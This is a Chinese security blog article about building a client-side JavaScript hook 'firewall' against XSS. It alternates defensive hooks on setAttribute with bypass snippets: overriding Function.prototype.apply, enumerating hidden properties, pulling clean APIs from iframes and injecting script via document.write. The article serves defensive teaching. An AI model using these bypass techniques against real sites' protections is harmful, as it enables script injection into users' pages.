移动安全 安全管理 应用案例 网络威胁 系统安全应用安全 数据安全 云安全
当前位置: 主页 > 信息安全 > 应用安全 >

针对XSS漏洞的前端防火墙:无懈可击的钩子

时间:2014-06-27 16:35来源:TuZhiJiaMi企业信息安全专家 点击:
昨天尝试了一系列的可疑模块拦截试验,尽管最终的方案还存在着一些兼容性问题,但大体思路已经明确了: 静态模块:使用 MutationObserver 扫描。 动态模块:通过 API 钩子来拦截路径属性。
Tags漏洞(188)XSS(21)应用安全(1006)防火墙(206)  

  昨天尝试了一系列的可疑模块拦截试验,尽管最终的方案还存在着一些兼容性问题,但大体思路已经明确了:

  静态模块:使用 MutationObserver 扫描。

  动态模块:通过 API 钩子来拦截路径属性。

  提到钩子程序,大家会联想到传统应用程序里的 API Hook,以及各种外挂木马。当然,未必是系统函数,任何 CPU 指令都能被改写成跳转指令,以实现先运行自己的程序。

  无论是在哪个层面,钩子程序的核心理念都是一样的:无需修改已有的程序,即可先执行我们的程序。

  这是一种链式调用的模式。调用者无需关心上一级的细节,直管用就是了,即使有额外的操作对其也是不可见的。从最底层的指令拦截,到语言层面的虚函数继承,以及更高层次的面向切面,都带有这类思想。

  对于JavaScript 这样灵活的语言,任何模式都可以实现。之前做过一个网页版的变速齿轮,用的就是这类原理。

  JavaScript 钩子小试

  要实现一个最基本的钩子程序非常简单,昨天已演示过了。现在我们再来给 setAttribute 接口实现一个钩子:

  // 保存上级接口 var raw_fn = Element.prototype.setAttribute; // 勾住当前接口 Element.prototype.setAttribute = function(name, value) { // 额外细节实现 if (this.tagName == 'SCRIPT' && /^src$/i.test(name)) { if (/xss/.test(value)) { if (confirm('试图加载可疑模块:\n\n' + url + '\n\n是否拦截?')) { return; } } } raw_fn.apply(this, arguments); }; // 创建脚本 var el = document.createElement('script'); el.setAttribute('SRC', 'http://www.etherdream.com/xss/alert.js'); document.body.appendChild(el);

  Run

  类似昨天的访问器拦截,现在我们对 setAttribute 也进行类似的监控。因为它是个函数,所有主流浏览器都兼容。

  钩子泄露

  看起来似乎毫无难度,而且也没什么不对的地方,这不就可以了吗?

  如果最终就用这代码,那也太挫了。我们把原始接口都暴露在全局变量里了,攻击者只要拿了这个变量,即可绕过我们的检测代码:

  var el = document.createElement('script'); // 直接调用原始接口 raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js'); document.body.appendChild(el);

  Run

  靠,这不算,这只是我们测试而已。现实中谁会放在全局变量里呢,这年头不套一个闭包的脚本都不好意思拿出来。

  好吧,我还是放闭包里,这总安全了吧。看你怎么隔空取物,从我闭包里偷出来。

  (function() { // 保存上级接口 var raw_fn = Element.prototype.setAttribute; ... })();

  不过,真要偷出来,那绝对是没问题的!

  这个变量唯一用到的地方就是:

  raw_fn.apply(this, arguments)

  这可不是一个原子操作,而是调用了 Function.prototype.apply 这个全局函数。神马。。。这。是真的,不信你可以试试!

  不用说,你也懂了。我还是说完吧:我们可以重写 apply,然后随便给某个元素 setAttribute 下,就可以窃听到钩子传过来的 raw_fn 了。

  Function.prototype.apply = function() { console.log('哈哈,得到原始接口了:', this); }; document.body.setAttribute('a', 1);

  Run

针对XSS漏洞的前端防火墙:无懈可击的钩子

  这也太贱了吧,不带这样玩的。可人家就能用这招绕过你,又怎样。

  你会想,干脆把 Function.prototype.apply 也提前保存起来得了。然后一番折腾,你会发现代码变成 apply.apply.apply.apply...

  毕竟,apply 和 call 已是最底层了,没法再 call 自己了。

  这可怎么办。显然不能再用 apply 或 call 了,但不用它们没法把 this 变量传进去啊。回想下,有哪些方法可以控制 this 的:

  obj.method()

  method.call(obj)

  貌似也就这两类。排除了第二种,那只剩最古老的用法了。可是我们已经重写了现有的接口,再调用自己那就递归溢出了。

  但是,我们可以给原始接口换个名字,不就可以避免冲突了:

  (function() { // 保存上级接口 ElementElement.prototype.__setAttribute = Element.prototype.setAttribute; // 勾住当前接口 Element.prototype.setAttribute = function(name, value) { // 额外细节实现 ... // 向上调用 this.__setAttribute(name, value); }; })();

  Run

  这样倒是甩掉 apply 这个包袱了,但是无论取『__setAttribute』,还是换成其他名字,人家知道了,照样可以拿出原始接口。所以,我们得取个复杂的名字,最好每次还都不一样:

  (function() { // 取个霸气的名字 var token = '$' + Math.random(); // 保存上级接口 Element.prototype[token] = Element.prototype.setAttribute; // 勾住当前接口 Element.prototype.setAttribute = function(name, value) { // 额外细节实现 ... // 向上调用 this[token](name, value); }; })();

  Run

  现在,你完全不知道我把原始接口藏在哪了,而且用 this[token](...) 这个巧妙的方法,同样符合刚才列举的第一类用法。

  问题似乎。。。解决了。但,总感觉有什么不对劲。。。人家不知道变量藏哪了,难道不可以找吗。把 Element.prototype 遍历下,一个个找过去,不相信会找不到:

  for(var k in Element.prototype) { console.log(k); if (k.substr(0,1) == '$') { console.error('楼上的,你这名字那么猥琐,敢露个面吗'); console.error(Element.prototype[k]); } }

  Run

针对XSS漏洞的前端防火墙:无懈可击的钩子

  取了个这么拉风的名字,就象是黑暗中的萤火虫,瞬间给揪出来了。你会说,为什么不取个再隐蔽点的名字,甚至还可以冒充良民,把从来不用的方法给替换了。

  不过,无论想怎么躲,都是徒劳的。有无数种方法可以让你原形毕露。除非 —— 根本不能被人家枚举到。

  属性隐身术

  如果没记错的话,主流 JavaScript 里好像还真有什么叫enumerable、configurable 之类的东西。把它们搬出来,看看能不能赋予我们隐身功能?

  马上就试试:

  // 嘘~ 要隐身了 Object.defineProperty(Element.prototype, token, { value: Element.prototype.setAttribute, enumerable: false });

  Run

  神奇,红红的那坨字果然没出现。看来真的隐身了!

  到此,原函数泄露的问题,我们算是搞定了。

  不过暂时还不能松懈,为什么?连 apply 都能被山寨,那还有什么可以相信的!那些正则表达式的 test 方法、字符串的大小写转换、数组的 forEach 等等等等,都是可以被改写的。

  要是人家把 RegExp.prototype.test 重写了,并且总是返回 false,那么我们的策略判断就完全失效了。

  所以,我们得重复上面的步骤,把这些运行时要用到的全局方法,都得随机隐匿起来。

  锁死 call 和 apply

  不过,隐藏一个还好,大量的代码都用这种 Geek 的方式,显得很是累赘。

  既然能有隐身那样神奇的魔法,难道就没有其他类似的吗?事实上,Object.defineProperty 里还有很多有意思的功能,除了让属性不可见,还能不可写、不可删等等。

  可以让属性不可写?太好了,不如干脆把 Function.prototype.call 和 apply 都事先锁死吧,反正谁会无聊到重写它们呢。

  Object.defineProperty(Function.prototype, 'call', { value: Function.prototype.call, writable: false, configurable: false, enumerable: true }); // apply 也一样

  马上看看效果:

  Function.prototype.call = function() { alert('hello'); }; console.log(Function.prototype.call);

  果然还是

  function call() { [native code] }

  Run

  现在,我们大可放心的使用 call 和 apply,再也不用鼓捣那堆随机属性了。

  不过这种随机+隐藏的属性,今后还是有用武之地的,常常用来给公开的对象做个秘密的记号,所以没有白折腾。

  到此,我们终于可以松口气了。

  新页面反射

  别高兴的太早,真正的难题还在后面呢。

  既然人家想破解,是会用尽各种手段的,并不局限于纯脚本。因为这是在网页里,攻击者们还可以呼唤出各种变幻莫测的浏览器功能,来躲避我们。

  最简单的,就是创建一个框架页面,然后通过 contentWindow 即可获得一个全新的环境:

  // 反射出纯净的接口 var frm = document.createElement('iframe'); document.body.appendChild(frm); var raw_fn = frm.contentWindow.Element.prototype.setAttribute; // 创建脚本 var el = document.createElement('script'); raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js'); document.body.appendChild(el);

  Run

  这时,我们的钩子程序就被瞬间秒杀了。

  尽管同源页面之间是可以相互访问,但其所在的环境却是隔离的。子页面所有的一切都是独立的副本,完全不受主页面影响。

  不过,既然能够访问子页面,显然也能给它们的环境安装上钩子。每当有新的框架元素出现时,我们就立即对其注入防护程序,让用户获取到的 contentWindow 已是带有钩子的。

  类似传统的应用程序,每当调用其他程序时,安全软件需将新创建的进程加以防护。

  你说会这很容易办到。将 createElement 方法勾住,然后在里面判断创建的是不是框架元素,如果是的话就直接防护子页面,不就可以了吗?

  显然,这是经不起实践的。事实上,只要测试下你就会发现,未挂载到主节点的框架元素,contentWindow 始终是 null。也就是说,必须在调用 appendChild 之后才开始初始化子页面。

  因此,我们得借助之前研究的节点挂载事件,找到一个能在 appendChild 之后,但在用户获取 contentWindow 之前触发的事件。

  var observer = new MutationObserver(function(mutations) { console.log('MutationObserver:', mutations); }); observer.observe(document, { subtree: true, childList: true }); document.addEventListener('DOMNodeInserted', function(e) { console.log('DOMNodeInserted:', e); }, true); // 反射出纯净的接口 var frm = document.createElement('iframe'); console.warn('begin'); document.body.appendChild(frm); console.warn('end'); var raw_fn = frm.contentWindow.Element.prototype.setAttribute; /** 输出 begin DOMNodeInserted MutationEvent end MutationObserver: Array[1] MutationObserver: Array[1] */

  Run

  这不,DOMNodeInserted 就能满足我们的需求。于是,我们使用它来监控框架元素。

  一旦发现有框架挂载到主节点上,我们赶紧把它的接口也装上钩子:

  // 我们防御系统 (function() { function installHook(window) { // 保存上级接口 var raw_fn = window.Element.prototype.setAttribute; // 勾住当前接口 window.Element.prototype.setAttribute = function(name, value) { // 试试 alert(name); // 向上调用 raw_fn.apply(this, arguments); }; } // 先保护当前页面 installHook(window); document.addEventListener('DOMNodeInserted', function(e) { var eelement = e.target; // 给框架里环境也装个钩子 if (element.tagName == 'IFRAME') { installHook(element.contentWindow); } }, true); })(); // 反射出纯净的接口 var frm = document.createElement('iframe'); document.body.appendChild(frm); var raw_fn = frm.contentWindow.Element.prototype.setAttribute; // 创建脚本 var el = document.createElement('script'); raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js'); document.body.appendChild(el);

  Run

  完美!对话框成功弹出来了!即使从框架页里反射出新环境,仍然带有我们的钩子程序。

  不过,貌似还漏了些什么。要是从框架页里再套框架页,我们就杯具了:

  // 创建框架页 var frm = document.createElement('iframe'); document.body.appendChild(frm); // 创建框架页的框架页 var doc = frm.contentDocument; var frm2 = doc.createElement('iframe'); doc.body.appendChild(frm2); // 反射接口 var raw_fn = frm2.contentWindow.Element.prototype.setAttribute; // 创建脚本 var el = document.createElement('script'); raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js'); document.body.appendChild(el);

  Run

针对XSS漏洞的前端防火墙:无懈可击的钩子

  前面说了,每个页面环境是独立的,主页面是捕捉不到子页面里的事件的。所以,框架页里创建元素,我们完全不知道。

  怎么破?这还不简单,索性给框架页也绑上 DOMNodeInserted 事件,不就可以层层监控了吗。无论框架的几次方,都逃不过我们的火眼金睛了。

  // 我们防御系统 (function() { function installHook(window) { // 保存上级接口 var raw_fn = window.Element.prototype.setAttribute; // 勾住当前接口 window.Element.prototype.setAttribute = function(name, value) { // 试试 alert(name); // 向上调用 raw_fn.apply(this, arguments); }; // 监控当前环境的元素 window.document.addEventListener('DOMNodeInserted', function(e) { var eelement = e.target; // 给框架里环境也装个钩子 if (element.tagName == 'IFRAME') { installHook(element.contentWindow); } }, true); } // 先保护当前页面 installHook(window); })();

  Run

  只需简单的小改动。我们把 DOMNodeInserted 放到 installHook 里,这样在安装钩子的同时,也对当前 window 中的元素进行监控。一旦出现框架元素,就递归防护。

  现在,我们的框架页监控已是天衣无缝了。

  新页面逆向控制

  不过,世上没有绝对的事。

  我们只考虑了正向的反射,却忘了框架也可以逆向控制主页面。攻击者要是能把 XSS 脚本注入到框架页里,同样也可以向上修改主页面里的内容,发起信任攻击。

  在框架里引入脚本,方法就更多了。框架元素虽然是动态创建的,但其内容可以静态呈现:

  // 创建框架页 var frm = document.createElement('iframe'); document.body.appendChild(frm); // 静态呈现 frm.contentDocument.write('<\script src=http://www.etherdream.com/xss/alert.js><\/script>');

  Run

  这只是随便列举了一种。事实上,HTML5 还新增一个可以直接控制框架页内容的属性:srcdoc。

  

  Run

  并且还是在同源环境中执行的:

  

  Run

  搞了半天结果还是能被绕过。

  不过别灰心,经测试,document.write 出来的内容是可以被 MutationObserver 捕获到的。至于 srcdoc 嘛,这个偏门的属性完全可以把它禁掉,或者重写访问器,把 HTML 内容用其他办法代理到页面上去。反正这又不是主流的用法,只要最终效果一样就没问题了。

  当然,要是在主页面里 document.write 怎么办?脚本确实能运行,但不白屏了吗。如果觉得这有风险,可以在 DOMContentLoaded 之后,把 document.write 也屏蔽掉,以免后患。

  后记

  虽说魔高一尺道高一丈,但再牢固的钩子还是有意想不到的办法绕过的。因此我们得与时俱进,不断修缮来强化防御能力。

  到目前为止,我们已对脚本、框架、API 接口实现了主动防御。但是,具备执行能力的元素并不止这些。

  例如 Flash 就可以运行页面中的脚本,光是它就占用了 object,embed,param 那么多元素。

  而且,API 防护钩子并不全面,只是例举了几个常用的。

------分隔线----------------------------

推荐内容